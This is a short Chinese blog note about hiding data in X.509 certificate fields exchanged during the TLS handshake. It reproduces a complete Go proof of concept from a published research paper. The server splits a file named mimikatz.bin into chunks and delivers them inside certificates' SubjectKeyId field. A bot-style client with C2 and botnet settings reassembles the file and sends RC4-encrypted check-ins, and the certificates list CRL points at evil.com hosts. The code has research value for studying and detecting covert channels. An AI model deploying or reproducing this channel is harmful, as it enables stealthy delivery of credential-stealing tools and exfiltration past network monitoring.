SSL公钥证书传递进行隐匿传输数据

使用X.509公钥证书传递进行隐匿传输数据

看到国外一篇有关于在ssl认证过程中,通过证书传递达到一个隐匿传输数据的过程

TLS X.509证书有很多可以存储字符串的字段,可参见这张图片[16]。

这些字段包括版本、序列号、颁发者名称、有效期等。在研究中描述的证书滥用,就是将传输的数据隐藏在这些字段中的一个。由于证书交换在TLS会话建立之前,因此好像没有进行数据传输,而实际上数据在证书交换过程中传输。

给出作者的一个POC

server.go

/*
Server code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018

MIT License

Copyright (c) 2018 Jason Reaves

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"fmt"
	"io/ioutil"
	"log"
	"malcert_mimikatz_poc/helper"
	"net"
)

type active_client struct {
	ip    string
	index int
}

var currclient active_client

func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
	cert, _ := x509.ParseCertificate(rawCerts[0])
	data := cert.SubjectKeyId
	dec := helper.DecryptData(data)
	fmt.Println("Received from client: ", dec)
	return nil
}

var bsize = 10000

func main() {
	priv, _ := rsa.GenerateKey(rand.Reader, 4096)
	ca, pv := helper.GenCert("EICAR", []byte{}, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv)

	fdata, _ := ioutil.ReadFile("mimikatz.bin")
	sz := len(fdata)
	iterations := sz / bsize
	fmt.Println("Iterations until done: ", iterations)

	for {
		cert, err := tls.X509KeyPair(ca, pv)
		if err != nil {
			log.Fatalf("server: loadkeys: %s", err)
		}
		config := tls.Config{Certificates: []tls.Certificate{cert}}
		config.InsecureSkipVerify = true
		config.VerifyPeerCertificate = verifyHook
		config.ClientAuth = tls.RequireAnyClientCert
		config.Rand = rand.Reader
		service := "0.0.0.0:4433"
		listener, err := tls.Listen("tcp", service, &config)
		if err != nil {
			log.Fatalf("server: listen: %s", err)
		}
		//log.Print("server: listening")
		conn, err := listener.Accept()
		if err != nil {
			log.Printf("server: accept: %s", err)
			break
		}
		defer conn.Close()
		if currclient.ip == "" {
			currclient.ip = conn.RemoteAddr().String()
			currclient.index = 0
		} else {
			blob := []byte("DONE")
			if currclient.index < iterations {
				blob = fdata[currclient.index*bsize : (currclient.index+1)*bsize]
			} else if currclient.index == iterations {
				blob = fdata[currclient.index*bsize : sz]
			} else {
				currclient.index = 0
				currclient.ip = ""
			}
			currclient.index += 1
			ca, pv = helper.GenCertWithFile("EICAR", blob, priv)
		}
		log.Printf("server: accepted from %s", conn.RemoteAddr())
		tlscon, ok := conn.(*tls.Conn)
		if ok {
			log.Print("ok=true")
			state := tlscon.ConnectionState()
			log.Print(state.PeerCertificates)
			for _, v := range state.PeerCertificates {
				log.Print(x509.MarshalPKIXPublicKey(v.PublicKey))
			}
		}
		go handleClient(conn)
		listener.Close()
	}
}

func handleClient(conn net.Conn) {
	defer conn.Close()
	buf := make([]byte, 512)
	for {
		log.Print("server: conn: waiting")
		n, err := conn.Read(buf)
		if err != nil {
			if err != nil {
				log.Printf("server: conn: read: %s", err)
			}
			break
		}
		log.Printf("server: conn: echo %q\n", string(buf[:n]))
		n, err = conn.Write(buf[:n])

		n, err = conn.Write(buf[:n])
		log.Printf("server: conn: wrote %d bytes", n)

		if err != nil {
			log.Printf("server: write: %s", err)
			break
		}
	}
	log.Println("server: conn: closed")
}

client.go

/*
Client code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018

MIT License

Copyright (c) 2018 Jason Reaves

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main

import (
	"crypto/md5"
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	//"crypto/x509"
	"bytes"
	"fmt"
	"log"
	"malcert_mimikatz_poc/helper"
	"time"
)

type settings struct {
	c2     string
	port   string
	botnet string
	priv   *rsa.PrivateKey
}

func SendData(settings settings, data string) {
	//We can load cert data from files as well
	//cert, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key")
	ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv)
	c2 := settings.c2 + ":" + settings.port
	cert, err := tls.X509KeyPair(ca, pv)
	if err != nil {
		log.Fatalf("server: loadkeys: %s", err)
	}
	config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
	fdata := []byte{}
	for {
		conn, err := tls.Dial("tcp", c2, &config)
		if err != nil {
			log.Fatalf("client: dial: %s", err)
		}
		log.Println("client: connected to: ", conn.RemoteAddr())

		state := conn.ConnectionState()
		rdata := []byte{}
		for _, v := range state.PeerCertificates {
			rdata = v.SubjectKeyId
			if bytes.Compare(rdata, []byte("DONE")) == 0 {
				break
			}
			fdata = append(fdata, v.SubjectKeyId...)
			//fmt.Println("Tasks: ", v.CRLDistributionPoints)
		}
		if bytes.Compare(rdata, []byte("DONE")) == 0 {
			log.Println("End of data reached")
			break
		}
		conn.Close()
		fmt.Println("Total Received: ", len(fdata))
		time.Sleep(1)
	}
	fmt.Println("Data received: ", len(fdata))
	fmt.Printf("Md5: %x", md5.Sum(fdata))

	log.Print("client: exiting")
}

func main() {
	priv, _ := rsa.GenerateKey(rand.Reader, 4096)
	c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv}
	SendData(c2_settings, "Im Alive")
}

helper.go

/*
Helper code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018

MIT License

Copyright (c) 2018 Jason Reaves

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package helper

import (
	"crypto/rand"
	"crypto/rc4"
	"crypto/rsa"
	//	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	//"encoding/asn1"
	//"encoding/hex"
	"encoding/pem"
	//"fmt"
	//"io/ioutil"
	"log"
	"math/big"
	"time"
)

func encryptData(data string) []byte {
	key := make([]byte, 2)
	_, err := rand.Read(key)
	if err != nil {
		log.Println("Random data creation error: ", err)
	}
	c, err := rc4.NewCipher(key)
	enc := make([]byte, len(data))
	c.XORKeyStream(enc, []byte(data))

	//return hex.EncodeToString(enc)
	return append(key, enc...)
}

func DecryptData(data []byte) string {
	key := data[:2]
	c, err := rc4.NewCipher(key)
	if err != nil {
		log.Println("RC4 error: ", err)
	}
	dec := make([]byte, len(data[2:]))
	c.XORKeyStream(dec, data[2:])
	return string(dec[:])
}

//func GenCertPriv(cn string, data string, crl []string) (*rsa.PrivateKey, []byte, []byte) {
//	priv, _ := rsa.GenerateKey(rand.Reader, 4096)
//	c, p := GenCert(cn, data, crl, priv)
//	return priv, c, p
//}

func GenCertWithFile(cn string, fdata []byte, priv *rsa.PrivateKey) ([]byte, []byte) {
	return GenCert(cn, fdata, []string{}, priv)
}

func GenCertWithString(cn string, data string, priv *rsa.PrivateKey) ([]byte, []byte) {
	encData := encryptData(data)
	return GenCert(cn, encData, []string{}, priv)
}

func GenCert(cn string, data []byte, crl []string, priv *rsa.PrivateKey) ([]byte, []byte) {
	//extSubKeyId := pkix.Extension{}
	//extSubKeyId.Id = asn1.ObjectIdentifier{2, 5, 29, 14}
	//extSubKeyId.Critical = true
	//extSubKeyId.Value = []byte(`d99962b39e`)

	ca := &x509.Certificate{
		SerialNumber: big.NewInt(1337),
		Subject: pkix.Name{
			Country:            []string{"Neuland"},
			Organization:       []string{"Example Org"},
			OrganizationalUnit: []string{"Auto"},
			CommonName:         cn,
		},
		Issuer: pkix.Name{
			Country:            []string{"Neuland"},
			Organization:       []string{"Skynet"},
			OrganizationalUnit: []string{"Computer Emergency Response Team"},
			Locality:           []string{"Neuland"},
			Province:           []string{"Neuland"},
			StreetAddress:      []string{"Mainstreet 23"},
			PostalCode:         []string{"12345"},
			SerialNumber:       "23",
			CommonName:         cn,
		},
		SignatureAlgorithm: x509.SHA512WithRSA,
		PublicKeyAlgorithm: x509.ECDSA,
		NotBefore:          time.Now(),
		NotAfter:           time.Now().AddDate(0, 0, 10),
		//SubjectKeyId:          encData,
		BasicConstraintsValid: true,
		IsCA:        true,
		ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
		KeyUsage:    x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
		//ExtraExtensions: []pkix.Extension{extSubKeyId},
	}
	if len(data) > 0 {
		//encData := encryptData(data)
		//ca.SubjectKeyId = encData
		ca.SubjectKeyId = data
	}
	if len(crl) > 0 {
		ca.CRLDistributionPoints = crl
	}

	//priv, _ := rsa.GenerateKey(rand.Reader, 4096)
	privPem := pem.EncodeToMemory(&pem.Block{
		Type:  "RSA PRIVATE KEY",
		Bytes: x509.MarshalPKCS1PrivateKey(priv),
	})
	pub := &priv.PublicKey
	ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)
	if err != nil {
		log.Fatalf("create cert failed %#v", err)
		panic("Cert Creation Error")
	}

	certPem := pem.EncodeToMemory(&pem.Block{
		Type:  "CERTIFICATE",
		Bytes: ca_b,
	})

	return certPem, privPem

}

这里主要做个笔记记录一下,原文在这里

posted on 2019-11-05 13:24  leej0  阅读(453)  评论(0编辑  收藏  举报

导航